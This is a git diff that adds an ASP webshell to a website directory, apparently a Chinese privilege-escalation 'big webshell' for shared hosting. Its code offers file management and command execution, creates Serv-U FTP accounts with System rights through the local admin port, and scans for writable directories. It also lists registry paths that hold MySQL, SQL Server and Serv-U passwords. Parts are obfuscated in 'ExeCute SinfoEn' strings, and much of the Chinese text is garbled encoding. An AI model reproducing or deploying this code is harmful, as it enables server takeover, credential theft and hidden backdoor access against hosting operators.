    " +user = request.Form("duser") +pass = request.Form("dpwd") +port = request.Form("dport") +domain = request.Form("domain") +fuser = request.Form("fuser") +fpass = request.Form("fpass") +fport = request.Form("fport") +fpath = request.Form("fpath") +privilege=request.Form("privilege") +select case privilege + case 2: + privilege="ReadOnly" + case 3: + privilege="Group" + case 4: + privilege="Domain" + case 5: + privilege="System" + end select + if request.Form("radiobutton") = "add" Then + +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=" & domain &"|0.0.0.0|" & fport & "|-1|1|0" & vbCrLf & "-DynDNSEnable=0" & vbCrLf & " DynIPName=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & fport & vbCrLf & "-User="& fuser & vbCrLf & "-Password=" & fpass & vbCrLf & _ + "-HomeDir=" & fpath & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=" & privilege & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=" & fpath &"|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf + '-------- + 'On Error Resume Next + Set xPost = CreateObject("Microsoft.XMLHTTP") + xPost.Open "POST", "http://127.0.0.1:"& port &"/secdst",True, "", "" + xPost.Send loginuser & loginpass & mt & newdomain & newuser & quit + Set xPost =nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &"
    " + elseif request.Form("radiobutton") = "del" Then + + loginuser = "User " & user & vbCrLf + loginpass = "Pass " & pass & vbCrLf + mt = "SITE MAINTENANCE" & vbCrLf + deluser = "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & port & vbcrlf & " User="& fuser & vbcrlf + quit = "QUIT" & vbCrLf + Set xPost3 = CreateObject("MSXML2.XMLHTTP") + xPost3.Open "POST", "http://127.0.0.1:"& port &"/secdst", True + xPost3.Send loginuser & loginpass & mt & deluser & quit + Set xPOST3=nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &" have deleted
    " + else + response.write "
    let's Start!!!
    " + end if +end function +Function fuzhutq1() +RRS"

    :Ȩ:

    " +RRS"360ɱdbļ滻:
    " +RRS"c:\Program Files\360\360SD\deepscan\Section\mutex.db
    " +RRS"c:\Program Files\360\360Safe\deepscan\Section\mutex.db
    " +RRS"C:\Program Files\360\360Safe\AntiSection\mutex.db
    " +RRS"Flashļ滻:
    " +RRS"C:\WINDOWS\system32\Macromed\Flash\Flash10q.ocx
    " +RRS"IISrewrite3 ļ滻
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\error.log
    " +RRS"DU MeterͳϢ־ļ滻
    " +RRS"c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv
    " +RRS"ŵɱļ滻:
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.bak
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Validate.dat
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.Dat
    " +RRS"ļ滻:
    " +RRS"C:\WINDOWS\hchiblis.ibl
    " +RRS"һĿ¼ļ
    " +RRS"C:\7i24.com\iissafe\log\startandiischeck.txt
    " +RRS"C:\7i24.com\iissafe\log\scanlog.htm
    " +RRS":
    " +RRS"Zend: C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll
    " +RRS"C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\
    " +RRS"Ps:Ȩͨڸϵͳ
    " +end function +Function fuzhutq2() +RRS"

    :Ȩ:

    " +RRS"1`c:\windows\temphzhostµftp½¼vû
    " +RRS"2@mssql sa,mysql root뼰serv-uadministrator
    " +RRS"mysql root룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
    " +RRS"sqlserver sa룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
    " +RRS"Serv-u룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\svrpass
    " +RRS"Ϣhzhostsϵͳ6.x ƽݿ빤ʹ
    " +RRS"صַٶ 'hzhostsϵͳ6.x ƽݿ빤'
    " +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq3() +RRS"

    :NȨ:

    " +RRS"Ĭݿأ
    " +RRS"1.9棺host_date/%23host%20%23%20date%23.mdb
    " +RRS"1.96棺host_date/%23host%20%23%20date%23196.mdb
    " +RRS"巽ͨͬIIS,ȻվNվĿ¼£ַͨػصõsamysqlվϢkeyͨĴܣ
    " +'RRS"ַ:Ĵ" +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq4() +RRS"ȴ2ED" +end function +Function fuzhutq5() +if Request("Paths") ="" then +Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\" +if Session("paths")<>"" then Paths_str=Session("paths") + Response.Write "
    " + Response.Write "˳ԼĿ¼д,ΪṩһЩȫϢ!
    Ŀ¼,ԶĿ¼
    " + Response.Write "" + Response.Write "
    " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
    " +else +Response.Write "·
    " +CheckFile = (Request("CheckFile")="on") +CheckNextDir = (Request("CheckNextDir")="on") +ShowNoWriteDir = (Request("ShowNoWrite")="on") +NoCheckTemp = (Request("NoCheckTemp")="on") +Response.Write "ҪһʱԵ......
    " +response.Flush + +Session("paths") = Request("Paths") + +PathsSplit=Split(Request("Paths"),chr(13)&chr(10)) +For i=LBound(PathsSplit) To UBound(PathsSplit) +if instr(PathsSplit(i),":")>0 then + ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir +End If +Next +Response.Write "[ɨ]
    " +end if +end function +Function cmd2() +response.write"
    " +response.write"" +response.write"
    " +response.write"" +end function +Function suftp() +RRS"

    ɰ汾Ϣ:

    " +RRS"
    " +RRS"
    Ա:
    " +RRS"
    Ա :
    " +RRS"
    SERV-U˿:
    " +RRS"
    ӵû:
    " +RRS"
    ӵû:
    " +RRS"
    ʺŵԵ·:
    " +RRS"
    ˿:
    " +RRS"
    ȷ" +RRS"
    ȷɾ" +RRS"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +'-------- +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +RRS ("ɹִУFTP û: " & tuser & " " & ": " & tpass & " ·: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +RRS "OKOKOK

    " +end if +End Function +Case "ScanDriveForm" + ScanDriveForm + Case "ScanDrive" + ScanDrive Request("Drive") + Case "ScFolder" + ScFolder Request("Folder") +case "apjdel":apjdel():case "Servu7x":su7():case "fuzhutq1":fuzhutq1():case "fuzhutq2":fuzhutq2():case "fuzhutq3":fuzhutq3():case "fuzhutq4":fuzhutq4():case "fuzhutq5":fuzhutq5():case "Cmd2":cmd2():case "suftp":suftp():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> + \ No newline at end of file diff --git a/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1)_重命名_2014-10-23-14-54-16.asp b/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1)_重命名_2014-10-23-14-54-16.asp new file mode 100644 index 0000000..0354b6e --- /dev/null +++ b/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1)_重命名_2014-10-23-14-54-16.asp @@ -0,0 +1,1296 @@ +<% +UserPass="admin"' +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +'------------------------ڲ ---------------------- +mmname ="---ȨרWebshell" 'shell +mmshell ="ȨרWebshell 80secƷ" 'shellȨ +errout ="󣡣" 'ʾ +serversoft=Request.ServerVariables("server_software") +'------------------------------------------- + +response.write ""+vbCrLf+""+vbCrLf+"" + +Response.Buffer = True +Server.ScriptTimeOut=999999999 + +CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject" + + +'· \ +function GetFullPath(path) + GetFullPath = path + if Right(path,1) <> "\" then GetFullPath = path&"\" 'ַ \ ľͼ +end function + +'ɾļ +Function Deltextfile(filepath) + On Error Resume Next + Set objFSO = CreateObject(CONST_FSO) + if objFSO.FileExists(filepath) then 'ļǷ + objFSO.DeleteFile(filepath) + end if + Set objFSO = nothing + Deltextfile = Err.Number 'ش +End Function + + +'Ŀ¼Ƿд 0 Ϊɶд 1Ϊдɾ +Function CheckDirIsOKWrite(DirStr) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + filepath = GetFullPath(DirStr)&fso.GettempName + FSO.CreateTextFile(filepath) + CheckDirIsOKWrite = Err.Number 'ش + if ShowNoWriteDir and (CheckDirIsOKWrite =70) then + Response.Write "[Ŀ¼]"&DirStr&" ["&Err.Description&"]
    " + end if + set fout =Nothing + set FSO = Nothing + Deltextfile(filepath) 'ɾ + if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1 +end Function + +'ļǷ޸(˷޸,ܻе㲻׼) +function CheckFileWrite(filepath) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + set getAtt=FSO.GetFile(filepath) + getAtt.Attributes = getAtt.Attributes + CheckFileWrite = Err.Number + set FSO = Nothing + set getAtt = Nothing +end function + +'Ŀ¼Ŀɶд +function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + B = FSO.FolderExists(Path) + set FSO=nothing + + 'ǷΪʱĿ¼ǷҪ + IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp + + if B=false then 'Ŀ¼ͽļ + '========================================================================== + Re = CheckFileWrite(Path) 'Ƿд + if Re =0 then + Response.Write "[ļ]"&Path&"
    " + b =true + exit function + else + Response.Write "[ļ]"&Path&" ["&Err.Description&"]
    " + exit function + end if + '========================================================================== + end if + + + + Path = GetFullPath(Path) ' \ + + re = CheckDirIsOKWrite(Path) 'ǰĿ¼Ҳһ + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&"
    " + end if + +Set FSO = Server.CreateObject(CONST_FSO) +set f = fso.getfolder(Path) + + + +if (CheckFile=True) and (IS_TEMP_DIR=false) then +b=false +'====================================== +for each file in f.Files + Re = CheckFileWrite(Path&file.name) 'Ƿд + if Re =0 then + Response.Write "[ļ]"& Path&file.name&"
    " + b =true + else + if ShowNoWriteDir then Response.Write "[ļ]"&Path&file.name&" ["&Err.Description&"]
    " + end if +next +if b then response.Flush 'ݾˢ¿ͻʾ +'====================================== +end if + + + +'============= Ŀ¼ ================ +for each file in f.SubFolders +if CheckNextDir=false then 'ǷһĿ¼ + re = CheckDirIsOKWrite(Path&file.name) + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&file.name&"
    " + end if +end if + + if (CheckNextDir=True) and (IS_TEMP_DIR=false) then 'ǷһĿ¼ + ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir 'ټһĿ¼ + end if +next +'====================================== +Set FSO = Nothing +set f = Nothing +end function + +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next: +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub" +Sub RRS(str):response.write(str):End Sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S):RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action"):Pos=2 +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +Serveru=request.servervariables("http_host")&url +FolderPath=Request("FolderPath"): +Pn=pos*44:FName=Request("FName"):pso=5:BackUrl="

    " +RRS"" +RRS""&mmname&" - "&ServerIP&"--Soft - "&serversoft&"" +RRS ""©url&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL5
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"XProgram2EAllUsersn#ibibpcAnywhereLMserv-uDv~ⳣд~:SQLIJPHPEDconfigWPdataeFTempm?RECYCLERv,д7" +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"

    ʾ

    " +RRS"" +End Function:Function MainMenu() +RRS"" +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    дĿ¼
    ޸Ȩ
    ش
    Ȩ
    Ȩ

    Ȩ
    ɨĿ¼дD
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    Cmd2
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    Serv-u Ftp
    Serv-u7xȨ
    ע
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: +Sub ScanDriveForm() + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " + + + For Each DriveB in FSO.Drives + +Response.Write " " +Next +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    /ϵͳļϢ
    Windowsļ" +Response.Write FSO.GetSpecialFolder(0) +Response.Write "
    System32ļ" +Response.Write FSO.GetSpecialFolder(1) +Response.Write "
    ϵͳʱļ" +Response.Write FSO.GetSpecialFolder(2) +Response.Write "

    " +Response.Write "
    " +Response.Write "ǰվ·:"&Server.MapPath("/")&"" +Response.Write "
    ָļвѯ" +Response.Write " " +Response.Write " Wָļ·b磺F:\ASP\" +Response.Write "
    " +Response.Write "
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • ̷ͣ" & Red(TestDrive.FileSystem) & "
  • кţ" & Red(TestDrive.SerialNumber) & "
  • ̹" & Red(TestDrive.ShareName) & "
  • " & Red(GetTheSize(TestDrive.TotalSize)) & "
  • ̾" & Red(TestDrive.VolumeName) & "
  • ̸Ŀ¼:" & ScReWr((Drive & ":\")) + + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • ̸Ŀ¼:" & Red("ɶ:(") + Dim TempFolderList,t + t=0 + Temp_Str = Temp_Str & "
  • " & Red("Ŀ¼ԣ") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
  • " & Drive & "̸Ŀ¼δз:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Message Drive & ":Ϣ",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + On Error Resume Next + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • ָļиĿ¼" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • ļУ" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • ļУ" & Red(folder & "ڻ޶Ȩ!") + End if + Scmsg = Scmsg & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Set FSO = Nothing + Message "ļϢ",Scmsg,1 +End Sub + +Function ScReWr(folder): + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дq" + Else + ReWrStr = ReWrStr & "дq" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дY" + Else + ReWrStr = ReWrStr & "дY" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function + +Sub Message(state,msg,flag) +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    ϵͳϢ
    " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    " +Response.Write state +Response.Write "

    " +Response.Write msg +Response.Write "

    " +Response.Write "
    " +Response.Write " " +If flag=0 Then +Response.Write " " +Response.Write " " +Else +Response.Write " " +Response.Write " " +End if +Response.Write "
    " +End Sub +Function Red(str):Red = "" & str & "" +End Function +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d 